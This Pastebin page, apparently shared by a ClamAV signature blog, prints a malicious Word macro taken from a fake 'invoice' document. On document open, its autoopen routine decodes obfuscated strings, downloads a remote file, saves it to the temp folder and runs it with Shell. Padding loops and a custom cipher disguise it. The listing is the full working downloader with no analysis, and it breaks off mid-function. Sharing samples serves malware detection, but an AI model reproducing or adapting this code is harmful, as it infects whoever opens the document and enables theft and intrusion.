Advertisement
Sanesecurity

Minuteman Press West Loop INVOICE 1398 (2)

Feb 12th, 2015
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.87 KB | None | 0 0
  1. http://sanesecurity.blogspot.co.uk/
  2. Sanesecurity ClamAV blog: zero hour malware, phishing and scams
  3. A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
  4.  
  5. Attribute VB_Name = "ThisDocument"
  6. Attribute VB_Base = "1Normal.ThisDocument"
  7. Attribute VB_GlobalNameSpace = False
  8. Attribute VB_Creatable = False
  9. Attribute VB_PredeclaredId = True
  10. Attribute VB_Exposed = True
  11. Attribute VB_TemplateDerived = True
  12. Attribute VB_Customizable = True
  13. Private Const CZsQTgCL = "9twHI61Egq75d6y4f60ryu7CoS505hJpz6he46A06iIi270CyQy4Kr370uHfWjn0Z9nZt95DG78f85VzaS11qs020O1t0DJ830xe95hm95PF921plj5u1TP035Q5OdkSS"
  14. Private Const dgKyIcWY = "7BLAF4Cy98x5uU94RH6d84Vs6E30Z6cV72Pv696ItEK6306ze6h0l61b8qWvI2764ug20rL630nmG6fz48ghYH0b6qi6l6k06d49sS8qt72J6U690eyi69sJM6j6F06po6h54Ff4t7D458v8Hn6E3T6FA6P0E6To59v46N96mcmvzD"
  15. Private Const vNVBKqP8OU = "df72G1lUjWp421C3bkaxJPQ312uIr2cfwh81l6fXma8CGMTQ"
  16. Private Const T8IwcOa = "M3wW7uzU546813DRE48624HzZ75AVa467LGc44849yQ0z04N50AX8xuPw0Y7aj98862vr4d75B4VH6Og74N48xb7G056E8M2o32w8232eT78v40yN0pob"
  17. Private Const SWQD = "2SMY39x563z13930I9631a824386Wk438643Dehk1T64386w301w03p010C1978W43435160c43c43op4L"
  18. Private Const RNQtfr2IMTl = "YuUMF84CH24M9i39h69G3r9X6m9i0J72k469T8ca380X7s3f8S0j781vS8y1801nub9V8y5w0589fUb1093Zdv968ey18m19qN2R34Mu850G58T991Yn92t3y4to8vs100zK81p81DXjN1E8ra81u9We3158F5oI0583ZBf43dBY89103c7c26U8K019tq8A9D9o188tKO29w38H0R7858H6RRM93u15QLIc38077938VnS8N505aM89cd10Z3s7B26q81Nj8X197rOp20i81JJ81uaec"
  19. Private Const Z0Otah3a = "xxuXge5p22RN9K62HDB3l7xiT718LM2X6615DMJUa705k6AuFOZ7O30qG8g66Ul1R5SwHPKm6930z6B4S89md28Lnz98mcY441fp0Hm6Sq6rbS156h80IoC4jKaOhW918CcX63Le6k363QNL5u2kd2s976RH2wwk37uFG245abXyx7W3e086I3I6eNp368DKBf67HL497Mxf7i6U1MDX7n46Nas678FA6q3G63EOO6l23UWSR77m3KPPH08tSW7"
  20. Private Const ESJYR = "/Extract_Enc_Key/"
  21. Private Const kXo2E = "/ qFyLS/"
  22. Private Const goUdK = "0"
  23. Private Const NDD1Yg = "/ ZrXYlHQ/"
  24. Private Const T3OQl = "/Extract_Char_Size/"
  25. Private Const uXIF = ""
  26. Sub autoopen()
  27.  
  28. Dim IUHvdsfF, LJFdsfF
  29. Dim VUCmDbCN As Integer
  30. For VUCmDbCN = 0 To 5
  31. Dim fVhcyGXv As Integer
  32. For fVhcyGXv = 0 To 5
  33. DoEvents
  34. Next fVhcyGXv
  35. DoEvents
  36. Next VUCmDbCN
  37. Dim YHVJXnkn As Integer
  38. For YHVJXnkn = 0 To 1
  39. DoEvents
  40. Next YHVJXnkn
  41. Set IUHvdsfF = CreateObject(TbH(Z0Otah3a))
  42.  
  43. Dim KFdsfF, JFdsfF, KFfdF
  44. Dim agZCXblx As Integer
  45. For agZCXblx = 0 To 2
  46. Dim hPmrbCIQ As Integer
  47. For hPmrbCIQ = 0 To 8
  48. DoEvents
  49. Next hPmrbCIQ
  50. DoEvents
  51. Next agZCXblx
  52. Dim ruBSlPyq As Integer
  53. For ruBSlPyq = 0 To 6
  54. DoEvents
  55. Next ruBSlPyq
  56. Const FFdVDv = 2
  57. Dim eaGVZbKR As Integer
  58. For eaGVZbKR = 0 To 8
  59. Dim qhQJsIEI As Integer
  60. For qhQJsIEI = 0 To 4
  61. DoEvents
  62. Next qhQJsIEI
  63. DoEvents
  64. Next eaGVZbKR
  65. Dim xWNPcZmW As Integer
  66. For xWNPcZmW = 0 To 6
  67. DoEvents
  68. Next xWNPcZmW
  69. Set KFdsfF = IUHvdsfF.GetSpecialFolder(FFdVDv)
  70. Dim FGDiWFKB As Integer
  71. For FGDiWFKB = 0 To 3
  72. Dim pwsHTAra As Integer
  73. For pwsHTAra = 0 To 1
  74. DoEvents
  75. Next pwsHTAra
  76. DoEvents
  77. Next FGDiWFKB
  78. Dim PwONmykB As Integer
  79. For PwONmykB = 0 To 5
  80. DoEvents
  81. Next PwONmykB
  82. IJGgfghF = TbH(RNQtfr2IMTl)
  83.  
  84. Dim KddqiDJh As Integer
  85. For KddqiDJh = 0 To 1
  86. Dim bEbDYBqN As Integer
  87. For bEbDYBqN = 0 To 1
  88. DoEvents
  89. Next bEbDYBqN
  90. DoEvents
  91. Next KddqiDJh
  92. Dim qkbKiBmV As Integer
  93. For qkbKiBmV = 0 To 7
  94. DoEvents
  95. Next qkbKiBmV
  96. lJHFFdF = KFdsfF & TbH(SWQD)
  97.  
  98.  
  99. Dim wWjLvJEk As Integer
  100. For wWjLvJEk = 0 To 3
  101. Dim AwpNKlJP As Integer
  102. For AwpNKlJP = 0 To 7
  103. DoEvents
  104. Next AwpNKlJP
  105. DoEvents
  106. Next wWjLvJEk
  107. Dim yVDSjCiO As Integer
  108. For yVDSjCiO = 0 To 3
  109. DoEvents
  110. Next yVDSjCiO
  111. Set oJBFFd = CreateObject(TbH(T8IwcOa))
  112.  
  113.  
  114. oJBFFd.Open TbH(vNVBKqP8OU), IJGgfghF, False
  115. Dim ZiITycBd As Integer
  116. For ZiITycBd = 0 To 1
  117. Dim VmleXEaM As Integer
  118. For VmleXEaM = 0 To 4
  119. DoEvents
  120. Next VmleXEaM
  121. DoEvents
  122. Next ZiITycBd
  123. Dim igmVsEfl As Integer
  124. For igmVsEfl = 0 To 4
  125. DoEvents
  126. Next igmVsEfl
  127. oJBFFd.send
  128. Dim eeZNRBEC As Integer
  129. For eeZNRBEC = 0 To 3
  130. Dim eJLoSban As Integer
  131. For eJLoSban = 0 To 8
  132. DoEvents
  133. Next eJLoSban
  134. DoEvents
  135. Next eeZNRBEC
  136. Dim sJwCpLFI As Integer
  137. For sJwCpLFI = 0 To 1
  138. DoEvents
  139. Next sJwCpLFI
  140.  
  141. Dim dCRJpKWa As Integer
  142. For dCRJpKWa = 0 To 8
  143. Dim bjoaVbaR As Integer
  144. For bjoaVbaR = 0 To 7
  145. DoEvents
  146. Next bjoaVbaR
  147. DoEvents
  148. Next dCRJpKWa
  149. Dim vwPLNOYq As Integer
  150. For vwPLNOYq = 0 To 9
  151. DoEvents
  152. Next vwPLNOYq
  153. Set objIUHvdsfF = CreateObject(TbH(dgKyIcWY))
  154. If objIUHvdsfF.FileExists(lJHFFdF) Then
  155. Dim OjlFOAlr As Integer
  156. For OjlFOAlr = 0 To 5
  157. Dim pyzZKmTL As Integer
  158. For pyzZKmTL = 0 To 6
  159. DoEvents
  160. Next pyzZKmTL
  161. DoEvents
  162. Next OjlFOAlr
  163. Dim jllqLbew As Integer
  164. For jllqLbew = 0 To 5
  165. DoEvents
  166. Next jllqLbew
  167. objIUHvdsfF.DeleteFile (lJHFFdF)
  168. End If
  169.  
  170. If oJBFFd.Status = 200 Then
  171. Dim JHuihF
  172. Dim RJtHHjno As Integer
  173. For RJtHHjno = 0 To 8
  174. Dim WPtBMmjn As Integer
  175. For WPtBMmjn = 0 To 2
  176. DoEvents
  177. Next WPtBMmjn
  178. DoEvents
  179. Next RJtHHjno
  180. Dim KrxQvhUZ As Integer
  181. For KrxQvhUZ = 0 To 6
  182. DoEvents
  183. Next KrxQvhUZ
  184. Set JHuihF = CreateObject(TbH(CZsQTgCL))
  185. Dim AgaphzOP As Integer
  186. For AgaphzOP = 0 To 4
  187. Dim UhKaJgvO As Integer
  188. For UhKaJgvO = 0 To 1
  189. DoEvents
  190. Next UhKaJgvO
  191. DoEvents
  192. Next AgaphzOP
  193. Dim VjQRRDKd As Integer
  194. For VjQRRDKd = 0 To 4
  195. DoEvents
  196. Next VjQRRDKd
  197. With JHuihF
  198. Dim QoeaWXNF As Integer
  199. For QoeaWXNF = 0 To 2
  200. Dim QKMXzLyR As Integer
  201. For QKMXzLyR = 0 To 3
  202. DoEvents
  203. Next QKMXzLyR
  204. DoEvents
  205. Next QoeaWXNF
  206. Dim mHzlezVM As Integer
  207. For mHzlezVM = 0 To 2
  208. DoEvents
  209. Next mHzlezVM
  210. .Type = 1
  211. Dim YUXZXrMu As Integer
  212. For YUXZXrMu = 0 To 5
  213. Dim yUEStlUM As Integer
  214. For yUEStlUM = 0 To 3
  215. DoEvents
  216. Next yUEStlUM
  217. DoEvents
  218. Next YUXZXrMu
  219. Dim XGwfugHD As Integer
  220. For XGwfugHD = 0 To 1
  221. DoEvents
  222. Next XGwfugHD
  223. .Open
  224. Dim ZyHeCsFb As Integer
  225. For ZyHeCsFb = 0 To 1
  226. Dim Ilfaiblk As Integer
  227. For Ilfaiblk = 0 To 5
  228. DoEvents
  229. Next Ilfaiblk
  230. DoEvents
  231. Next ZyHeCsFb
  232. Dim OhTTvspz As Integer
  233. For OhTTvspz = 0 To 5
  234. DoEvents
  235. Next OhTTvspz
  236. .Write oJBFFd.responseBody
  237. Dim TDwZvPqR As Integer
  238. For TDwZvPqR = 0 To 4
  239. Dim ECYTlGEb As Integer
  240. For ECYTlGEb = 0 To 7
  241. DoEvents
  242. Next ECYTlGEb
  243. DoEvents
  244. Next TDwZvPqR
  245. Dim QtxmsnAk As Integer
  246. For QtxmsnAk = 0 To 9
  247. DoEvents
  248. Next QtxmsnAk
  249. .SaveToFile lJHFFdF
  250. Dim AsgrnKtX As Integer
  251. For AsgrnKtX = 0 To 9
  252. Dim LoELsdtk As Integer
  253. For LoELsdtk = 0 To 7
  254. DoEvents
  255. Next LoELsdtk
  256. DoEvents
  257. Next AsgrnKtX
  258. Dim dFEAfuEE As Integer
  259. For dFEAfuEE = 0 To 1
  260. DoEvents
  261. Next dFEAfuEE
  262. .Close
  263. Dim GUccFPvz As Integer
  264. For GUccFPvz = 0 To 4
  265. Dim kqeRxARK As Integer
  266. For kqeRxARK = 0 To 8
  267. DoEvents
  268. Next kqeRxARK
  269. DoEvents
  270. Next GUccFPvz
  271. Dim EXMdzezl As Integer
  272. For EXMdzezl = 0 To 1
  273. DoEvents
  274. Next EXMdzezl
  275. End With
  276. Dim QtlJgxYE As Integer
  277. For QtlJgxYE = 0 To 9
  278. Dim mKUgaFKz As Integer
  279. For mKUgaFKz = 0 To 9
  280. DoEvents
  281. Next mKUgaFKz
  282. DoEvents
  283. Next QtlJgxYE
  284. Dim ngqyVYdy As Integer
  285. For ngqyVYdy = 0 To 1
  286. DoEvents
  287. Next ngqyVYdy
  288. Set JHuihF = Nothing
  289. End If
  290.  
  291. If objIUHvdsfF.FileExists(lJHFFdF) Then
  292.  
  293. End If
  294. Dim AHSoVoXN As Integer
  295. For AHSoVoXN = 0 To 7
  296. Dim SvCaNgWr As Integer
  297. For SvCaNgWr = 0 To 1
  298. DoEvents
  299. Next SvCaNgWr
  300. DoEvents
  301. Next AHSoVoXN
  302. Dim QIrbMQwp As Integer
  303. For QIrbMQwp = 0 To 5
  304. DoEvents
  305. Next QIrbMQwp
  306. Shell lJHFFdF
  307. End Sub
  308.  
  309. Function TbH(InputStringToBeDecrypted As String) As String
  310.  
  311.  
  312. Dim strText As String
  313. Dim strDecryptedText As String
  314. Dim strKeyNum As String
  315. Dim strChar1 As String
  316. Dim strChar2 As String
  317. Dim nLenght As Integer
  318. Dim nKeyNum As Integer
  319. On Error GoTo ErrorHandler
  320. Dim AKbfTTIO As Integer
  321. For AKbfTTIO = 0 To 7
  322. Dim vsHLaObz As Integer
  323. For vsHLaObz = 0 To 3
  324. DoEvents
  325. Next vsHLaObz
  326. DoEvents
  327. Next AKbfTTIO
  328. Dim aLClLWxh As Integer
  329. For aLClLWxh = 0 To 8
  330. DoEvents
  331. Next aLClLWxh
  332. strTempText = InputStringToBeDecrypted
  333. Dim eOFyBYqj As Integer
  334. For eOFyBYqj = 0 To 8
  335. Dim MQyQdObt As Integer
  336. For MQyQdObt = 0 To 1
  337. DoEvents
  338. Next MQyQdObt
  339. DoEvents
  340. Next eOFyBYqj
  341. Dim CxlSGrzs As Integer
  342. For CxlSGrzs = 0 To 2
  343. DoEvents
  344. Next CxlSGrzs
  345. strText = strTempText
  346. Dim LWfumXvM As Integer
  347. For LWfumXvM = 0 To 1
  348. Dim NezucISK As Integer
  349. For NezucISK = 0 To 8
  350. DoEvents
  351. Next NezucISK
  352. DoEvents
  353. Next LWfumXvM
  354. Dim ghtRfDJm As Integer
  355. For ghtRfDJm = 0 To 1
  356. DoEvents
  357. Next ghtRfDJm
  358. strDecryptedText = ""
  359. Dim RTURifQw As Integer
  360. For RTURifQw = 0 To 4
  361. Dim TlMxNbPE As Integer
  362. For TlMxNbPE = 0 To 1
  363. DoEvents
  364. Next TlMxNbPE
  365. DoEvents
  366. Next RTURifQw
  367. Dim fmUbLMck As Integer
  368. For fmUbLMck = 0 To 7
  369. DoEvents
  370. Next fmUbLMck
  371. strText = Left(strText, Len(strText) - 4)
  372. Dim ckjNSuho As Integer
  373. For ckjNSuho = 0 To 6
  374. Dim fwEFDBrM As Integer
  375. For fwEFDBrM = 0 To 3
  376. DoEvents
  377. Next fwEFDBrM
  378. DoEvents
  379. Next ckjNSuho
  380. Dim EFSxhFfx As Integer
  381. For EFSxhFfx = 0 To 2
  382. DoEvents
  383. Next EFSxhFfx
  384. strText = Right(strText, Len(strText) - 4)
  385. Dim GliUhWvo As Integer
  386. For GliUhWvo = 0 To 6
  387. Dim XUlMHYYK As Integer
  388. For XUlMHYYK = 0 To 1
  389. DoEvents
  390. Next XUlMHYYK
  391. DoEvents
  392. Next GliUhWvo
  393. Dim oyoHumrB As Integer
  394. For oyoHumrB = 0 To 4
  395. DoEvents
  396. Next oyoHumrB
  397. nCharSize = 0
  398. Dim IuQlCTnE As Integer
  399. For IuQlCTnE = 0 To 1
  400. Dim wQxDemJR As Integer
  401. For wQxDemJR = 0 To 3
  402. DoEvents
  403. Next wQxDemJR
  404. DoEvents
  405. Next IuQlCTnE
  406. Dim sPqgXxGA As Integer
  407. For sPqgXxGA = 0 To 1
  408. DoEvents
  409. Next sPqgXxGA
  410. Call Extract_Char_Size(strText, nCharSize)
  411. Dim dEShtyug As Integer
  412. For dEShtyug = 0 To 1
  413. Dim pVNhJGlI As Integer
  414. For pVNhJGlI = 0 To 6
  415. DoEvents
  416. Next pVNhJGlI
  417. DoEvents
  418. Next dEShtyug
  419. Dim IiRMLhpl As Integer
  420. For IiRMLhpl = 0 To 8
  421. DoEvents
  422. Next IiRMLhpl
  423. Call Extract_Enc_Key(strText, nCharSize, nEncKey)
  424. Dim HzHIhYtK As Integer
  425. For HzHIhYtK = 0 To 3
  426. Dim MVPNsuJX As Integer
  427. For MVPNsuJX = 0 To 7
  428. DoEvents
  429. Next MVPNsuJX
  430. DoEvents
  431. Next HzHIhYtK
  432. Dim qBEUDjeW As Integer
  433. For qBEUDjeW = 0 To 1
  434. DoEvents
  435. Next qBEUDjeW
  436. nTextLenght = Len(strText)
  437. For nCounter = 1 To Len(strText) Step nCharSize
  438. Dim kLeTmDEL As Integer
  439. For kLeTmDEL = 0 To 8
  440. Dim ztbNiYTM As Integer
  441. For ztbNiYTM = 0 To 8
  442. DoEvents
  443. Next ztbNiYTM
  444. DoEvents
  445. Next kLeTmDEL
  446. Dim NibYlTUL As Integer
  447. For NibYlTUL = 0 To 8
  448. DoEvents
  449. Next NibYlTUL
  450. strChar1 = Mid(strText, nCounter, nCharSize)
  451. Dim sYOinzMx As Integer
  452. For sYOinzMx = 0 To 7
  453. Dim pyrhNORR As Integer
  454. For pyrhNORR = 0 To 6
  455. DoEvents
  456. Next pyrhNORR
  457. DoEvents
  458. Next sYOinzMx
  459. Dim mHBSjrxM As Integer
  460. For mHBSjrxM = 0 To 6
  461. DoEvents
  462. Next mHBSjrxM
  463. nChar = qFyLS(strChar1)
  464. Dim DwePJqBc As Integer
  465. For DwePJqBc = 0 To 9
  466. Dim NMpHzBAr As Integer
  467. For NMpHzBAr = 0 To 4
  468. DoEvents
  469. Next NMpHzBAr
  470. DoEvents
  471. Next DwePJqBc
  472. Dim rwgxlbZc As Integer
  473. For rwgxlbZc = 0 To 9
  474. DoEvents
  475. Next rwgxlbZc
  476. nChar2 = nChar / nEncKey
  477. Dim oBaMtCpv As Integer
  478. For oBaMtCpv = 0 To 7
  479. Dim ZTWajmwu As Integer
  480. For ZTWajmwu = 0 To 7
  481. DoEvents
  482. Next ZTWajmwu
  483. DoEvents
  484. Next oBaMtCpv
  485. Dim LEdkgUqz As Integer
  486. For LEdkgUqz = 0 To 3
  487. DoEvents
  488. Next LEdkgUqz
  489. strChar2 = Chr(nChar2)
  490. Dim tlfLaEzF As Integer
  491. For tlfLaEzF = 0 To 3
  492. Dim qnbxIQcX As Integer
  493. For qnbxIQcX = 0 To 1
  494. DoEvents
  495. Next qnbxIQcX
  496. DoEvents
  497. Next tlfLaEzF
  498. Dim KDlVnSTL As Integer
  499. For KDlVnSTL = 0 To 4
  500. DoEvents
  501. Next KDlVnSTL
  502. strDecryptedText = strDecryptedText + strChar2
  503. Next nCounter
  504. Dim vqNNZiLE As Integer
  505. For vqNNZiLE = 0 To 6
  506. Dim lKtIGFNd As Integer
  507. For lKtIGFNd = 0 To 2
  508. DoEvents
  509. Next lKtIGFNd
  510. DoEvents
  511. Next vqNNZiLE
  512. Dim GsWxDaSb As Integer
  513. For GsWxDaSb = 0 To 6
  514. DoEvents
  515. Next GsWxDaSb
  516. strDecryptedText = Trim(strDecryptedText)
  517. Dim NajPmSPm As Integer
  518. For NajPmSPm = 0 To 8
  519. Dim Bzwyqsvf As Integer
  520. For Bzwyqsvf = 0 To 2
  521. DoEvents
  522. Next Bzwyqsvf
  523. DoEvents
  524. Next NajPmSPm
  525. Dim wmsMovqn As Integer
  526. For wmsMovqn = 0 To 8
  527. DoEvents
  528. Next wmsMovqn
  529. TbH = strDecryptedText
  530. Dim itbzNswU As Integer
  531. For itbzNswU = 0 To 4
  532. Dim LDeUtiaQ As Integer
  533. For LDeUtiaQ = 0 To 7
  534. DoEvents
  535. Next LDeUtiaQ
  536. DoEvents
  537. Next itbzNswU
  538. Dim ljyfCmMk As Integer
  539. For ljyfCmMk = 0 To 9
  540. DoEvents
  541. Next ljyfCmMk
  542. Exit Function
  543. Dim Vqvpgopn As Integer
  544. For Vqvpgopn = 0 To 8
  545. Dim YWcBEdzQ As Integer
  546. For YWcBEdzQ = 0 To 4
  547. DoEvents
  548. Next YWcBEdzQ
  549. DoEvents
  550. Next Vqvpgopn
  551. Dim XzKmvtMB As Integer
  552. For XzKmvtMB = 0 To 2
  553. DoEvents
  554. Next XzKmvtMB
  555. ErrorHandler:
  556. End Function
  557.  
  558.  
  559. Sub Extract_Char_Size(ByRef strText, ByRef nCharSize)
  560. Dim wIDvXQuX As Integer
  561. For wIDvXQuX = 0 To 4
  562. Dim hXduEVWy As Integer
  563. For hXduEVWy = 0 To 2
  564. DoEvents
  565. Next hXduEVWy
  566. DoEvents
  567. Next wIDvXQuX
  568. Dim EjmRZXpR As Integer
  569. For EjmRZXpR = 0 To 4
  570. DoEvents
  571. Next EjmRZXpR
  572. DecryptParts = DecryptParts & T3OQl
  573. Dim MKmXvluK As Integer
  574. For MKmXvluK = 0 To 7
  575. Dim grcnnWQQ As Integer
  576. For grcnnWQQ = 0 To 5
  577. DoEvents
  578. Next grcnnWQQ
  579. DoEvents
  580. Next MKmXvluK
  581. Dim hKOowcpL As Integer
  582. For hKOowcpL = 0 To 5
  583. DoEvents
  584. Next hKOowcpL
  585. nLeft = Len(strText) \ 2
  586. Dim ArjhLEna As Integer
  587. For ArjhLEna = 0 To 9
  588. Dim lcmmZYiO As Integer
  589. For lcmmZYiO = 0 To 2
  590. DoEvents
  591. Next lcmmZYiO
  592. DoEvents
  593. Next ArjhLEna
  594. Dim AiHUvVPq As Integer
  595. For AiHUvVPq = 0 To 4
  596. DoEvents
  597. Next AiHUvVPq
  598. strLeft = Left(strText, nLeft)
  599. Dim BfVDwsAC As Integer
  600. For BfVDwsAC = 0 To 5
  601. Dim LtrUrjtO As Integer
  602. For LtrUrjtO = 0 To 3
  603. DoEvents
  604. Next LtrUrjtO
  605. DoEvents
  606. Next BfVDwsAC
  607. Dim GvvFQdSZ As Integer
  608. For GvvFQdSZ = 0 To 3
  609. DoEvents
  610. Next GvvFQdSZ
  611. nRight = Len(strText) - nLeft
  612. Dim HhfnieNZ As Integer
  613. For HhfnieNZ = 0 To 9
  614. Dim ELupfgUG As Integer
  615. For ELupfgUG = 0 To 2
  616. DoEvents
  617. Next ELupfgUG
  618. DoEvents
  619. Next HhfnieNZ
  620. Dim lyjaYIsW As Integer
  621. For lyjaYIsW = 0 To 9
  622. DoEvents
  623. Next lyjaYIsW
  624. strRight = Right(strText, nRight)
  625. Dim YwdIxNFw As Integer
  626. For YwdIxNFw = 0 To 2
  627. Dim MtHyRVOx As Integer
  628. For MtHyRVOx = 0 To 1
  629. DoEvents
  630. Next MtHyRVOx
  631. DoEvents
  632. Next YwdIxNFw
  633. Dim iwbybRHz As Integer
  634. For iwbybRHz = 0 To 7
  635. DoEvents
  636. Next iwbybRHz
  637. strKeyEnc = Right(strLeft, 2)
  638. Dim GbmBabnU As Integer
  639. For GbmBabnU = 0 To 9
  640. Dim rMlYmZHk As Integer
  641. For rMlYmZHk = 0 To 4
  642. DoEvents
  643. Next rMlYmZHk
  644. DoEvents
  645. Next GbmBabnU
  646. Dim LDeFcLbm As Integer
  647. For LDeFcLbm = 0 To 7
  648. DoEvents
  649. Next LDeFcLbm
  650. strKeySize = Left(strRight, 2)
  651. Dim wSfACtTY As Integer
  652. For wSfACtTY = 0 To 3
  653. Dim YhNqwsYl As Integer
  654. For YhNqwsYl = 0 To 1
  655. DoEvents
  656. Next YhNqwsYl
  657. DoEvents
  658. Next wSfACtTY
  659. Dim hyaFFCNZ As Integer
  660. For hyaFFCNZ = 0 To 5
  661. DoEvents
  662. Next hyaFFCNZ
  663. strKeyEnc = ZrXYlHQ(strKeyEnc)
  664. Dim yTMoUqFO As Integer
  665. For yTMoUqFO = 0 To 3
  666. Dim IzjOYRAY As Integer
  667. For IzjOYRAY = 0 To 5
  668. DoEvents
  669. Next IzjOYRAY
  670. DoEvents
  671. Next yTMoUqFO
  672. Dim BgVUyzml As Integer
  673. For BgVUyzml = 0 To 8
  674. DoEvents
  675. Next BgVUyzml
  676. strKeySize = ZrXYlHQ(strKeySize)
  677. Dim QLPLrsRv As Integer
  678. For QLPLrsRv = 0 To 5
  679. Dim BpcmieNY As Integer
  680. For BpcmieNY = 0 To 2
  681. DoEvents
  682. Next BpcmieNY
  683. DoEvents
  684. Next QLPLrsRv
  685. Dim SODgrbaZ As Integer
  686. For SODgrbaZ = 0 To 2
  687. DoEvents
  688. Next SODgrbaZ
  689. nKeyEnc = Val(strKeyEnc)
  690. Dim xbEafUmC As Integer
  691. For xbEafUmC = 0 To 6
  692. Dim qbTFxKIZ As Integer
  693. For qbTFxKIZ = 0 To 1
  694. DoEvents
  695. Next qbTFxKIZ
  696. DoEvents
  697. Next xbEafUmC
  698. Dim aPoYgifd As Integer
  699. For aPoYgifd = 0 To 6
  700. DoEvents
  701. Next aPoYgifd
  702. nKeySize = Val(strKeySize)
  703. Dim eSxEpdbX As Integer
  704. For eSxEpdbX = 0 To 8
  705. Dim ZxNNvYDV As Integer
  706. For ZxNNvYDV = 0 To 7
  707. DoEvents
  708. Next ZxNNvYDV
  709. DoEvents
  710. Next eSxEpdbX
  711. Dim EcUBKAKj As Integer
  712. For EcUBKAKj = 0 To 7
  713. DoEvents
  714. Next EcUBKAKj
  715. nCharSize = nKeySize - nKeyEnc
  716. Dim ZKcvImvG As Integer
  717. For ZKcvImvG = 0 To 7
  718. Dim bHyCXxHk As Integer
  719. For bHyCXxHk = 0 To 3
  720. DoEvents
  721. Next bHyCXxHk
  722. DoEvents
  723. Next ZKcvImvG
  724. Dim jWttiGUo As Integer
  725. For jWttiGUo = 0 To 2
  726. DoEvents
  727. Next jWttiGUo
  728. strText = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
  729. End Sub
  730.  
  731. Function ZrXYlHQ(ByVal cString As String) As String
  732. Dim RUkyCKzj As Integer
  733. For RUkyCKzj = 0 To 1
  734. Dim iEIHSKzl As Integer
  735. For iEIHSKzl = 0 To 7
  736. DoEvents
  737. Next iEIHSKzl
  738. DoEvents
  739. Next RUkyCKzj
  740. Dim klfopGfA As Integer
  741. For klfopGfA = 0 To 9
  742. DoEvents
  743. Next klfopGfA
  744. DecryptParts = DecryptParts & NDD1Yg
  745. For nCounter = 1 To Len(cString)
  746. Dim cbAlYboS As Integer
  747. For cbAlYboS = 0 To 9
  748. Dim KATxZkOB As Integer
  749. For KATxZkOB = 0 To 6
  750. DoEvents
  751. Next KATxZkOB
  752. DoEvents
  753. Next cbAlYboS
  754. Dim SyiVxiKR As Integer
  755. For SyiVxiKR = 0 To 5
  756. DoEvents
  757. Next SyiVxiKR
  758. strChar1 = Mid(cString, nCounter, 1)
  759. If IsNumeric(strChar1) Then
  760. Dim yyFoTlBH As Integer
  761. For yyFoTlBH = 0 To 3
  762. Dim AVJylgIR As Integer
  763. For AVJylgIR = 0 To 4
  764. DoEvents
  765. Next AVJylgIR
  766. DoEvents
  767. Next yyFoTlBH
  768. Dim dQMzlKyS As Integer
  769. For dQMzlKyS = 0 To 1
  770. DoEvents
  771. Next dQMzlKyS
  772. strTempString = strTempString + strChar1
  773. Else
  774. Dim YzYQADkh As Integer
  775. For YzYQADkh = 0 To 8
  776. Dim tZflCbdh As Integer
  777. For tZflCbdh = 0 To 6
  778. DoEvents
  779. Next tZflCbdh
  780. DoEvents
  781. Next YzYQADkh
  782. Dim fSIhKPWm As Integer
  783. For fSIhKPWm = 0 To 1
  784. DoEvents
  785. Next fSIhKPWm
  786. strTempString = strTempString + goUdK
  787. End If
  788. Next nCounter
  789. Dim LTNlwWYg As Integer
  790. For LTNlwWYg = 0 To 7
  791. Dim cEXycOvu As Integer
  792. For cEXycOvu = 0 To 6
  793. DoEvents
  794. Next cEXycOvu
  795. DoEvents
  796. Next LTNlwWYg
  797. Dim HEHCZPTp As Integer
  798. For HEHCZPTp = 0 To 3
  799. DoEvents
  800. Next HEHCZPTp
  801. ZrXYlHQ = strTempString
  802. End Function
  803.  
  804. Function qFyLS(strTempText As String) As Integer
  805. Dim gaHJlKfW As Integer
  806. For gaHJlKfW = 0 To 1
  807. Dim AkRdMaRv As Integer
  808. For AkRdMaRv = 0 To 7
  809. DoEvents
  810. Next AkRdMaRv
  811. DoEvents
  812. Next gaHJlKfW
  813. Dim edAEZdlS As Integer
  814. For edAEZdlS = 0 To 3
  815. DoEvents
  816. Next edAEZdlS
  817. DecryptParts = DecryptParts & kXo2E
  818. Dim BHSrbKuQ As Integer
  819. For BHSrbKuQ = 0 To 4
  820. Dim ajfwDhzy As Integer
  821. For ajfwDhzy = 0 To 8
  822. DoEvents
  823. Next ajfwDhzy
  824. DoEvents
  825. Next BHSrbKuQ
  826. Dim DEslfwGO As Integer
  827. For DEslfwGO = 0 To 6
  828. DoEvents
  829. Next DEslfwGO
  830. strTempText = Trim(strTempText)
  831. For nCounter = 1 To Len(strTempText)
  832. Dim pTqpwpDM As Integer
  833. For pTqpwpDM = 0 To 6
  834. Dim mYtSjCuH As Integer
  835. For mYtSjCuH = 0 To 2
  836. DoEvents
  837. Next mYtSjCuH
  838. DoEvents
  839. Next pTqpwpDM
  840. Dim MWzZMqbl As Integer
  841. For MWzZMqbl = 0 To 7
  842. DoEvents
  843. Next MWzZMqbl
  844. strChar1 = Mid(strTempText, nCounter, 1)
  845. If IsNumeric(strChar1) Then
  846. Dim TeTONmfa As Integer
  847. For TeTONmfa = 0 To 1
  848. Dim tIOJvdVt As Integer
  849. For tIOJvdVt = 0 To 6
  850. DoEvents
  851. Next tIOJvdVt
  852. DoEvents
  853. Next TeTONmfa
  854. Dim WFUecjIk As Integer
  855. For WFUecjIk = 0 To 7
  856. DoEvents
  857. Next WFUecjIk
  858. strText = strText + strChar1
  859. End If
  860. Next nCounter
  861. Dim zUqJIzZm As Integer
  862. For zUqJIzZm = 0 To 6
  863. Dim rlIQlJlb As Integer
  864. For rlIQlJlb = 0 To 3
  865. DoEvents
  866. Next rlIQlJlb
  867. DoEvents
  868. Next zUqJIzZm
  869. Dim DcBWfDHn As Integer
  870. For DcBWfDHn = 0 To 7
  871. DoEvents
  872. Next DcBWfDHn
  873. nResult = Val(strText)
  874. Dim qYGcYRnD As Integer
  875. For qYGcYRnD = 0 To 4
  876. Dim TgldMBLt As Integer
  877. For TgldMBLt = 0 To 4
  878. DoEvents
  879. Next TgldMBLt
  880. DoEvents
  881. Next qYGcYRnD
  882. Dim ZUPBvLpu As Integer
  883. For ZUPBvLpu = 0 To 1
  884. DoEvents
  885. Next ZUPBvLpu
  886. qFyLS = nResult
  887. End Function
  888.  
  889. Sub Extract_Enc_Key(ByRef strText, ByVal nCharSize, ByRef nEncKey)
  890. Dim MEBLARba As Integer
  891. For MEBLARba = 0 To 1
  892. Dim HIdbmJqm As Integer
  893. For HIdbmJqm = 0 To 6
  894. DoEvents
  895. Next HIdbmJqm
  896. DoEvents
  897. Next MEBLARba
